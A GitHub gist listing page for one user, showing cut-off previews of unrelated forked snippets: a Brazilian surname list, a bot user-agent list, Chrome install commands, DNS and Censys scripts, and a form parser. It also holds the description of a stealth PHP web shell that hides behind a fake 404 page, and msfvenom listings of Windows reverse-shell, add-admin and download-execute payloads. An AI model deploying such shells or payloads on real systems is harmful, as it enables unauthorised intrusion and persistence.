Skip to content

Instantly share code, notes, and snippets.

@f0r34chb3t4
f0r34chb3t4 / listadesobrenomesbrasileiros
Created August 28, 2018 00:29 — forked from pimatco/listadesobrenomesbrasileiros
Lista de Sobrenomes Brasileiros
"Agostinho",
"Aguiar",
"Albuquerque",
"Alegria",
"Alencastro",
"Almada",
"Almeida",
"Alves",
"Alves",
"Alvim",
AbachoBOT
anarchie
antibot
appie
ASPSeek
asterias
attach
autoemailspider
B2w
BackDoorBot
@f0r34chb3t4
f0r34chb3t4 / gist:efbf4e8e0f58d2600e9219f19446611d
Created August 18, 2018 04:06 — forked from gblnovaes/gist:7308593
How to install google chrome stable
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
sudo apt-get update
sudo apt-get install google-chrome-stable
@f0r34chb3t4
f0r34chb3t4 / get_dns_records.py
Created August 7, 2018 01:18 — forked from akshaybabloo/get_dns_records.py
Printing all DNS records using DNSPython in Python 3
#!/usr/bin/env python
# -*- coding utf-8 -*-
#
# Copyright 2016 Akshay Raj Gollahalli
import dns.resolver
def get_records(domain):
"""
@f0r34chb3t4
f0r34chb3t4 / idx_v3_modified.php
Created July 30, 2018 04:11 — forked from lc-at/idx_v3_modified.php
IndoXploit Shell v3 (Stealth Version)
<?php
/*
* # IndoXploit v3 Web Shell (Stealth Version)
* # What was involved?
* - Uses dynamic 404 page from the server to make the web shell looks like it was deleted
* - Login method is by using GET parameters, (example: 'http://example.com/idx_s.php?passwd=password_saia_kaka')
* # Important Bookmark
* - Password configuration at line 27
* - login_shell() function at line 40-52
* - Login validation at line 57-64
#!/usr/bin/env python
"""Quickly and dirtily get JBoss X-Powered-By header contents
from the Censys API.
Usage: python censys_jboss.py > censys_jboss.txt"""
import os
import sys
import json
import requests
msfvenom -p windows/meterpreter/reverse_tcp --list-options
Options for payload/windows/meterpreter/reverse_tcp:
=========================
Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
msfvenom -l payloads |grep -i windows
cmd/windows/adduser Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
cmd/windows/bind_lua Listen for a connection and spawn a command shell via Lua
cmd/windows/bind_perl Listen for a connection and spawn a command shell via perl (persistent)
cmd/windows/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (persistent)
cmd/windows/bind_ruby Continually listen for a connection and spawn a command shell via Ruby
cmd/windows/download_eval_vbs Downloads a file from an HTTP(S) URL and executes it as a vbs script. Use it to stage
@f0r34chb3t4
f0r34chb3t4 / build-static-python.sh
Created July 3, 2018 01:54 — forked from maddouri/build-static-python.sh
A simple script that builds static versions of Python and LibPython using musl-libc
#!/bin/bash
# set -eux
# This a simple script that builds static versions of Python and LibPython using musl-libc
# Find the associated article at: http://general-purpose.io/2015/12/06/compiling-python-and-libpython-statically-using-musl-libc/
WORKING_DIR="/code/static-python"
MUSL_PREFIX="/code/static-python/musl"
PY_PREFIX="/code/static-python/python"
@f0r34chb3t4
f0r34chb3t4 / gist:6f65d934199c266583610bd526b8da21
Created June 27, 2018 05:26 — forked from simonw/gist:104413
Turn a BeautifulSoup form in to a dict of fields and default values - useful for screen scraping forms and then resubmitting them
def extract_form_fields(self, soup):
"Turn a BeautifulSoup form in to a dict of fields and default values"
fields = {}
for input in soup.findAll('input'):
# ignore submit/image with no name attribute
if input['type'] in ('submit', 'image') and not input.has_key('name'):
continue
# single element nome/value fields
if input['type'] in ('text', 'hidden', 'password', 'submit', 'image'):